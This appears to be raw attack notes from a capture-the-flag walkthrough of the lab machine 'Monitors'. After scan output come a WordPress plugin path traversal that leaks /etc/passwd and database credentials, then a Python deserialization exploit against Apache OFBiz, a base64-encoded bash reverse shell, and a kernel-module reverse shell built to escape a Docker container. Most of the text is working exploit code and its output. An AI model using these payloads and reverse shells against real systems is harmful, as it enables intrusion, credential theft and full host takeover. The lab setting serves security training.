Nmap scan report for Monitors.HTB (10.10.10.238)
Host is up (0.30s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.5.1
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome to Monitor – Taking hardware monitoring seriously
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for monitors.htb (10.10.10.238)
Host is up (0.37s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-wordpress-brute:
|   Accounts: No valid accounts found
|_  Statistics: Performed 2716 guesses in 599 seconds, average tps: 4.6
| http-wordpress-enum:
| Search limited to top 100 themes/plugins
|   themes
|     twentyseventeen 2.4
|_    iconic-one 2.1.7
| http-wordpress-users:
| Username found: admin
|_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'

NSE: Script Post-scanning.
Initiating NSE at 21:54
Completed NSE at 21:54, 0.00s elapsed
Initiating NSE at 21:54
Completed NSE at 21:54, 0.00s elapsed
Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 612.24 seconds

Target: http://monitors.htb/

Output File: D:\cmder\opt\dirsearch\reports\monitors.htb\_21-05-18_23-31-25.txt

[23:31:25] Starting:
[23:31:36] 403 -  277B  - /.htaccess.bak1
[23:31:36] 403 -  277B  - /.htaccess.save
[23:31:36] 403 -  277B  - /.htaccess.sample
[23:31:36] 403 -  277B  - /.htaccess.orig
[23:31:36] 403 -  277B  - /.htaccessOLD
[23:31:36] 403 -  277B  - /.htaccessBAK
[23:31:36] 403 -  277B  - /.htaccessOLD2
[23:31:36] 403 -  277B  - /.httr-oauth
[23:31:40] 403 -  277B  - /.php
30.60% - Last request to: admin/fckeditor/editor/filemanager/connectors/aspx/connector.aspx63.49% - Last request to: includes/fckeditor/editor/filemanager/connectors/aspx/upload.aspx[23:32:41] 301 -    0B  - /index.php  ->  http://monitors.htb/
[23:32:44] 200 -   19KB - /license.txt
80.50% - Last request to: plugins/sfSWFUploadPlugin/web/sfSWFUploadPlugin/swf/swfupload.swf[23:32:59] 200 -    7KB - /readme.html
[23:33:01] 403 -  277B  - /server-status
[23:33:01] 403 -  277B  - /server-status/
[23:33:13] 301 -  315B  - /wp-admin  ->  http://monitors.htb/wp-admin/
[23:33:13] 302 -    0B  - /wp-admin/  ->  http://monitors.htb/wp-login.php?redirect_to=http%3A%2F%2Fmonitors.htb%2Fwp-admin%2F&reauth=1
[23:33:13] 200 -    1KB - /wp-admin/install.php
[23:33:13] 409 -    3KB - /wp-admin/setup-config.php
[23:33:13] 301 -  317B  - /wp-content  ->  http://monitors.htb/wp-content/
[23:33:13] 200 -    0B  - /wp-content/
[23:33:14] 200 -  966B  - /wp-content/uploads/
[23:33:14] 301 -  318B  - /wp-includes  ->  http://monitors.htb/wp-includes/
[23:33:14] 500 -    0B  - /wp-includes/rss-functions.php
[23:33:14] 200 -    7KB - /wp-login.php
[23:33:14] 302 -    0B  - /wp-signup.php  ->  http://monitors.htb/wp-login.php?action=register
[23:33:15] 200 -   47KB - /wp-includes/
[23:33:15] 405 -   42B  - /xmlrpc.php

http://monitors.htb//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
http://monitors.htb//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=php://filter/read=convert.base64-encode/resource=/etc/apache2/apache2.conf  

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
Debian-snmp:x:112:115::/var/lib/snmp:/bin/false
mysql:x:109:114:MySQL Server,,,:/nonexistent:/bin/falseCg

<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wpadmin' );

/** MySQL database password */
define( 'DB_PASSWORD', 'BestAdministrator@2020!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'KkY%W@>T}4CKTw5{.n_j3bywoB0k^|OKX0{}5|UqZ2!VH!^uWKJ.O oROc,h pp:' );
define( 'SECURE_AUTH_KEY',  '*MHA-~<-,*^$raDR&uxP)k(~`k/{PRT(6JliOO9XnYYbFU?Xmb#9USEjmgeHYYpm' );
define( 'LOGGED_IN_KEY',    ')F6L,A23Tbr9yhrhbgjDHJPJe?sCsDzDow-$E?zYCZ3*f40LSCIb] E%zrW@bs3/' );
define( 'NONCE_KEY',        'g?vl(p${jG`JvDxVw-]#oUyd+uvFRO1tAUZQG_sGg&Q7O-*tF[KIe$weE^$bB3%C' );
define( 'AUTH_SALT',        '8>PIil3 7re_:3&@^8Zh|p^I8rwT}WpVr5|t^ih05A:]xjTA,UVXa8ny:b--/[Jk' );
define( 'SECURE_AUTH_SALT', 'dN c^]m:4O|GyOK50hQ1tumg4<JYlD2-,r,oq7GDjq4M Ri:x]Bod5L.S&.hEGfv' );
define( 'LOGGED_IN_SALT',   'tCWVbTcE*_T_}X3#t+:)>N+D%?vVAIw#!*&OK78M[@ YT0q):G~A:hTv`bO<,|68' );
define( 'NONCE_SALT',       'sa>i39)9<vVyhE3auBVzl%=p23NJbl&)*.{`<*>;R2=QHqj_a.%({D4yI-sy]D8,' );

/**#@-*/

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

Usernames
admin
marcus
wpadmin

Password
BestAdministrator@2020!

<?php
/**
 * Handle Trackbacks and Pingbacks Sent to WordPress
 *
 * @since 0.71
 *
 * @package WordPress
 * @subpackage Trackbacks
 */

if ( empty( $wp ) ) {
	require_once __DIR__ . '/wp-load.php';
	wp( array( 'tb' => '1' ) );
}

/**
 * Response to a trackback.
 *
 * Responds with an error or success XML message.
 *
 * @since 0.71
 *
 * @param int|bool $error         Whether there was an error.
 *                                Default '0'. Accepts '0' or '1', true or false.
 * @param string   $error_message Error message if an error occurred.
 */
function trackback_response( $error = 0, $error_message = '' ) {
	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );
	if ( $error ) {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>1</error>\n";
		echo "<message>$error_message</message>\n";
		echo '</response>';
		die();
	} else {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>0</error>\n";
		echo '</response>';
	}
}

// Trackback is done by a POST.
$request_array = 'HTTP_POST_VARS';

if ( ! isset( $_GET['tb_id'] ) || ! $_GET['tb_id'] ) {
	$tb_id = explode( '/', $_SERVER['REQUEST_URI'] );
	$tb_id = intval( $tb_id[ count( $tb_id ) - 1 ] );
}

$tb_url  = isset( $_POST['url'] ) ? $_POST['url'] : '';
$charset = isset( $_POST['charset'] ) ? $_POST['charset'] : '';

// These three are stripslashed here so they can be properly escaped after mb_convert_encoding().
$title     = isset( $_POST['title'] ) ? wp_unslash( $_POST['title'] ) : '';
$excerpt   = isset( $_POST['excerpt'] ) ? wp_unslash( $_POST['excerpt'] ) : '';
$blog_name = isset( $_POST['blog_name'] ) ? wp_unslash( $_POST['blog_name'] ) : '';

if ( $charset ) {
	$charset = str_replace( array( ',', ' ' ), '', strtoupper( trim( $charset ) ) );
} else {
	$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';
}

// No valid uses for UTF-7.
if ( false !== strpos( $charset, 'UTF-7' ) ) {
	die;
}

// For international trackbacks.
if ( function_exists( 'mb_convert_encoding' ) ) {
	$title     = mb_convert_encoding( $title, get_option( 'blog_charset' ), $charset );
	$excerpt   = mb_convert_encoding( $excerpt, get_option( 'blog_charset' ), $charset );
	$blog_name = mb_convert_encoding( $blog_name, get_option( 'blog_charset' ), $charset );
}

// Now that mb_convert_encoding() has been given a swing, we need to escape these three.
$title     = wp_slash( $title );
$excerpt   = wp_slash( $excerpt );
$blog_name = wp_slash( $blog_name );

if ( is_single() || is_page() ) {
	$tb_id = $posts[0]->ID;
}

if ( ! isset( $tb_id ) || ! intval( $tb_id ) ) {
	trackback_response( 1, __( 'I really need an ID for this to work.' ) );
}

if ( empty( $title ) && empty( $tb_url ) && empty( $blog_name ) ) {
	// If it doesn't look like a trackback at all.
	wp_redirect( get_permalink( $tb_id ) );
	exit;
}

if ( ! empty( $tb_url ) && ! empty( $title ) ) {
	/**
	 * Fires before the trackback is added to a post.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $tb_id     Post ID related to the trackback.
	 * @param string $tb_url    Trackback URL.
	 * @param string $charset   Character Set.
	 * @param string $title     Trackback Title.
	 * @param string $excerpt   Trackback Excerpt.
	 * @param string $blog_name Blog Name.
	 */
	do_action( 'pre_trackback_post', $tb_id, $tb_url, $charset, $title, $excerpt, $blog_name );

	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );

	if ( ! pings_open( $tb_id ) ) {
		trackback_response( 1, __( 'Sorry, trackbacks are closed for this item.' ) );
	}

	$title   = wp_html_excerpt( $title, 250, '&#8230;' );
	$excerpt = wp_html_excerpt( $excerpt, 252, '&#8230;' );

	$comment_post_ID      = (int) $tb_id;
	$comment_author       = $blog_name;
	$comment_author_email = '';
	$comment_author_url   = $tb_url;
	$comment_content      = "<strong>$title</strong>\n\n$excerpt";
	$comment_type         = 'trackback';

	$dupe = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $comment_post_ID, $comment_author_url ) );
	if ( $dupe ) {
		trackback_response( 1, __( 'We already have a ping from that URL for this post.' ) );
	}

	$commentdata = compact( 'comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type' );

	$result = wp_new_comment( $commentdata );

	if ( is_wp_error( $result ) ) {
		trackback_response( 1, $result->get_error_message() );
	}

	$trackback_id = $wpdb->insert_id;

	/**
	 * Fires after a trackback is added to a post.
	 *
	 * @since 1.2.0
	 *
	 * @param int $trackback_id Trackback ID.
	 */
	do_action( 'trackback_post', $trackback_id );
	trackback_response( 0 );
}

# /proc/self/cmdline	
	/usr/sbin/apache2-kstart

# /etc/php/7.2/apache2/php.ini
No useful information

# /etc/apache2/sites-available/000-default.conf
  # Default virtual host settings
  # Add monitors.htb.conf
  # Add cacti-admin.monitors.htb.conf

script -c "/bin/bash -i" /dev/null

define( 'DB_PASSWORD', 'password_here' );
define( 'DB_PASSWORD', 'BestAdministrator@2020!' );
                                case 'DB_PASSWORD':
                define( 'DB_PASSWORD', $pwd );
#$rdatabase_password = 'cactiuser';
$database_password = 'cactipass';

root       1634  0.0  2.0 975760 81096 ?        Ssl  04:51   0:07 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root       2078  0.0  0.0 554520  3988 ?        Sl   04:51   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -contain--More--er-ip 172.17.0.2 -container-port 8443

# 
root       1332  0.0  1.1 978804 47292 ?        Ssl  04:51   0:05 /usr/bin/containerd
root       2087  0.0  0.1 108820  4884 ?        Sl   04:51   0:02  \_ containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/f59187dde17d70e801bf3159d045870d5e0a219f8be3ec37cd9601740870211d -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
root       2116  0.0  2.0 3410072 83724 ?       Ssl  04:51   0:35      \_ /usr/local/openjdk-8/bin/java -Dorg.gradle.appname=gradlew -classpath /usr/src/apache-ofbiz-17.12.01/gradle/wrapper/gradle-wrapper.jar org.gradle.wrapper.GradleWrapperMain --offline ofbiz
root       2263  0.5  7.4 3492168 300956 ?      Ssl  04:51   3:59          \_ /usr/local/openjdk-8/bin/java -XX:MaxPermSize=256m -XX:+HeapDumpOnOutOfMemoryError -Xmx1024m -Dfile.encoding=UTF-8 -Duser.country -Duser.language=en -Duser.variant -cp /root/.gradle/wrapper/dists/gradle-3.2.1-bin/erlz51pt56t1o6vc7t39cikug/gradle-3.2.1/lib/gradle-launcher-3.2.1.jar org.gradle.launcher.daemon.bootstrap.GradleDaemon 3.2.1
root       2402  0.4 17.0 3592008 684064 ?      Sl   04:52   2:49              \_ /usr/local/openjdk-8/bin/java -Xms128M -Xmx1024M -Dfile.encoding=UTF-8 -Duser.country -Duser.language=en -Duser.variant -cp /usr/src/apache-ofbiz-17.12.01/build/libs/ofbiz.jar org.apache.ofbiz.base.start.Start

# 
root       1634  0.0  2.0 975760 81096 ?        Ssl  04:51   0:07 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock                                                     
root       2078  0.0  0.0 554520  3988 ?        Sl   04:51   0:00  \_ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.17.0.2 -container-port 8443      

portfwd add -l 8443 -p 8443 -r 10.10.10.238

$  python -c "import requests"

import requests


data = '''rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/xxx+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABvPK/rq+xxxxxxxx+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+xxxx=='''
xml = '''<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{}</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>'''.format(data)

headers = {'Content-Type': 'application/xml'}


resp=requests.post('https://127.0.0.1:8443/webtools/control/xmlrpc', headers=headers, data=xml, verify=False)

print(resp.content)

print('done')

root@ca96528cc0ea:/opt# ps auxwwf
ps auxwwf
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          1  0.0  2.4 3410072 98780 ?       Ssl  11:29   0:10 /usr/local/openjdk-8/bin/java -Dorg.gradle.appname=gradlew -classpath /usr/src/apache-ofbiz-17.12.01/gradle/wrapper/gradle-wrapper.jar org.gradle.wrapper.GradleWrapperMain --offline ofbiz
root         30  0.7  7.8 3504140 313576 ?      Ssl  11:29   1:24 /usr/local/openjdk-8/bin/java -XX:MaxPermSize=256m -XX:+HeapDumpOnOutOfMemoryError -Xmx1024m -Dfile.encoding=UTF-8 -Duser.country -Duser.language=en -Duser.variant -cp /root/.gradle/wrapper/dists/gradle-3.2.1-bin/erlz51pt56t1o6vc7t39cikug/gradle-3.2.1/lib/gradle-launcher-3.2.1.jar org.gradle.launcher.daemon.bootstrap.GradleDaemon 3.2.1
root         60  1.0 17.2 3582836 691320 ?      Sl   11:30   1:52  \_ /usr/local/openjdk-8/bin/java -Xms128M -Xmx1024M -Dfile.encoding=UTF-8 -Duser.country -Duser.language=en -Duser.variant -cp /usr/src/apache-ofbiz-17.12.01/build/libs/ofbiz.jar org.apache.ofbiz.base.start.Start
root        159  0.0  0.0   5488  3264 ?        S    14:22   0:00      \_ bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMS84MCAwPiYx}|{base64,-d}|{bash,-i}
root        163  0.0  0.0   5620  3592 ?        S    14:22   0:00          \_ bash -i
root        164  0.0  0.0   5752  3628 ?        S    14:22   0:00              \_ bash -i
root        183  0.0  0.0   9392  3128 ?        R    14:37   0:00                  \_ ps auxwwf

capsh --print|grep -iE "CAP_SYS_ADMIN|CAP_SYS_PTRACE|CAP_SYS_MODULE|DAC_READ_SEARCH|DAC_OVERRIDE"

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.16.11/81 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
        printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

obj-m +=reverse-shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

make
make -C /lib/modules/4.15.0-142-generic/build M=/root modules
insmod reverse-shell.ko

# tips
rmmod reverse-shell.ko
lsmod

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